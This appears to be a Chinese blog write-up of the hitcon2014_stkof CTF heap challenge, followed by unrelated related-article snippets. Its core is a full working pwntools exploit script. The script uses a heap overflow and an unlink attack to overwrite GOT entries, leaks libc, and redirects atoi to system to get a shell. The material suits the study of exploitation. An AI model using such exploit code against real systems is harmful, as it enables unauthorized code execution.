【PWN · heap | unlink】hitcon2014_stkof

news/2024/5/19 23:40:38 标签: pwn, ctf, heap, unlink

初学,通过一道题初步掌握unlink。不教学unlink的具体过程,仅是一篇wp记录笔记


前言

教学和具体过程可以看这个大佬的博客:

buuctf pwn hitcon2014_stkof 初识unlink_buuctf hitcon2014_stkof-CSDN博客


一、题目

fill函数可读大量字符,造成堆溢出。

可以通过unlink进行利用控制:

如果存在区域连续存放结构体指针存在堆溢出或其他漏洞修改结构体控制头部字段、常存在edit操作

最终效果:可以edit这些结构体指针区域的指针,再通过指针任意地址写

二、exp

from pwn import *
from pwn import p64
context(arch='amd64',log_level='debug')

io=process('./pwn')
# io=remote('node4.buuoj.cn',25122)
elf=ELF('./pwn')
libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
free_got=elf.got['free']
free_plt=elf.plt['free']
atoi_got=elf.got['atoi']
atoi_plt=elf.plt['atoi']

def fill(index,size,payload):
    io.sendline(b'2')
    io.sendline(str(index).encode())
    io.sendline(str(size).encode())
    io.send(payload)
    io.recvuntil(b'OK\n')

def free(index):
    io.sendline(b'3')
    io.sendline(str(index).encode())
    

def alloc(size):
    io.sendline(b'1')
    io.sendline(str(size).encode())
    cnt=int(io.recvuntil(b'\n',drop=True))
    io.recvuntil(b'OK\n')
    success('num of chunk:{}'.format(cnt))

initptr=0x602140
# gdb.attach(io)
alloc(0x100) #为了触发输入输出缓冲区的malloc而操作,后面没用
# 构造伪chunk
# 但是大小和填充(就算正确构造了位置上的fake chunk,有时候还是会遇到double-link报错
alloc(0x20) 

alloc(0x80) # free掉的时候触发unlink

##### 构造fake chunk、修改临近smallbin-chunk控制头部字段
chunk2_ptr=initptr+2*0x8 # 第二块,块数从1计
fd=chunk2_ptr-0x18; bk=chunk2_ptr-0x10
payload=p64(0)+p64(0x21)+p64(fd)+p64(bk) # fake chunk
# 很奇怪,这里构造fake chunk一不小心就会爆double-link的错误,不知道为什么
# payload=payload.rjust(0x60,b'a') 之前第二个开了0x60的大小,用b'a'填充开头但是报错。。。
payload+=p64(0x20)+p64(0x90) # 溢出修改chunk3的prev_size和(size+prev_inuse)构成unlink
fill(2,len(payload),payload)

##### free smallbin-chunk触发unlink
free(3)
io.recvuntil(b'OK\n') 
# 之所以单独拿出来是因为后面篡改free后,要泄露地址,方便接收

# chunk0指针改为指向puts_got,chunk1指针指向free_got
payload=p64(0)  #0x602138
           #0x602140     #0x602148     #0x602150     #0x602158 对应第0、1、2个chunk,也就是fill的index
payload+=p64(puts_got)+p64(free_got)+p64(0x602138)+p64(puts_got)
fill(2,len(payload),payload)

# 修改free_got为puts_plt
payload=p64(puts_plt)
fill(1,len(payload),payload)

# 泄露puts_got地址
free(3)
puts=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success('puts real addr:{}'.format(hex(puts)))
io.recvuntil(b'OK\n') 

# 获得system、/bin/sh字符串的真实地址
libc_base=puts-libc.sym['puts']
system=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search(b'/bin/sh\x00'))

# 思路1:
# 更改free为system,更改指针指向bin_sh,然后free该指针构成system('/bin/sh')
# 重新修改栈上内容
# payload=p64(0)  #0x602138
            #0x602140    #0x602144  对应第0、1个chunk指针
# payload+=p64(free_got)+p64(bin_sh)
# fill(2,len(payload),payload)
# payload=p64(system)
# fill(0,len(payload),payload)
# free(1)
# 成功getshell
 
# 思路2:
# 更改atoi为system,手动输入/bin/sh字符串
# 重新修改栈上内容
payload=p64(0)
payload+=p64(atoi_got)
fill(2,len(payload),payload)
# 更改atoi为system
payload=p64(system)
fill(0,len(payload),payload)
raw_input()
io.sendline(b'/bin/sh\x00')
# 成功getshell

io.interactive()


http://www.niftyadmin.cn/n/5154457.html

相关文章

P9831 [ICPC2020 Shanghai R] Gitignore

P9831 [ICPC2020 Shanghai R] Gitignore - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) 只看题意翻译这道题是做不出来的,还要去看英文里面的规定(这里就不放英文了),主要问题是不要公用子文件夹。 例如: 1 / a / 2 2 / a / 3…

第十六章 反射与注解

目录 16.1 反射 1.使用getClass()方法 2.使用.class属性 3.使用class类的forname方法 16.1.2 访问成员变量 16.2 Annotation注解功能 16.2.1 定义Annotation类型 16.2.2 访问Annotation 信息 16.1 反射 1.class类 2.获取构造方法 3.获取成…

Python中的容器类型

一、基础知识 1、在进行函数调用时,传递的不是变量的值或者引用,而是变量所指对象的引用。 2、Python内置类型分为可变和不可变类型两种,可变性会影响一些操作的行为,比如。 3、对于可变类型,必要时对其进行拷贝操作&…

腾讯云16核服务器配置有哪些?CPU型号处理器主频性能

腾讯云16核服务器配置大全,CVM云服务器可选择标准型S6、标准型SA3、计算型C6或标准型S5等,目前标准型S5云服务器有优惠活动,性价比高,计算型C6云服务器16核性能更高,轻量16核32G28M带宽优惠价3468元15个月,…

持续持续集成部署-k8s-配置与存储-配置管理:Secret 的应用

持续持续集成部署-k8s-配置与存储-配置管理:Secret 的应用 1. 简介2. 创建 Secret3. docker-registry 的使用1. 简介 与 ConfigMap 类似,用于存储配置信息,但是主要用于存储敏感信息、需要加密的信息,Secret 可以提供数据加密、解密功能。 在创建 Secret 时,要注意如果要…

mipi DPHY学习记录

DPHY的内容很多,而且细节很多,我会一点一点的进行补充记录,今天要记录的是cdphy的LP-MODE数据传输的过程。 1:HS 和LP mode lane status 和 lane上的电压 HS mode时,差分线上的电压摆幅为200mv,LP mode时,差分线上的电压为1.2v 2:HS mode data Transmission start 在…

Linux文件系统(操作系统的文件管理)

文章目录 一.内存中的文件管理(文件与进程)二 .Linux系统视角下的计算机外设三.磁盘上的文件管理 参考Linux内核源码版本------linux-2.4.3 一.内存中的文件管理(文件与进程) 操作系统之下,进程是计算机系统执行计算任务的基本单位,进程访问文件执行数据读写之前,操作系统会从…

淘宝预定商品收不到尾款通知 - 解决方案

问题 用户在使用淘宝购买预定商品后,待补尾款时,无法收到尾款通知,从而导致错过补齐尾款无法购买预定商品,下文介绍解决方案。 解决方案 进入淘宝后,购买预定商品时,在提交订单页面时,取消勾…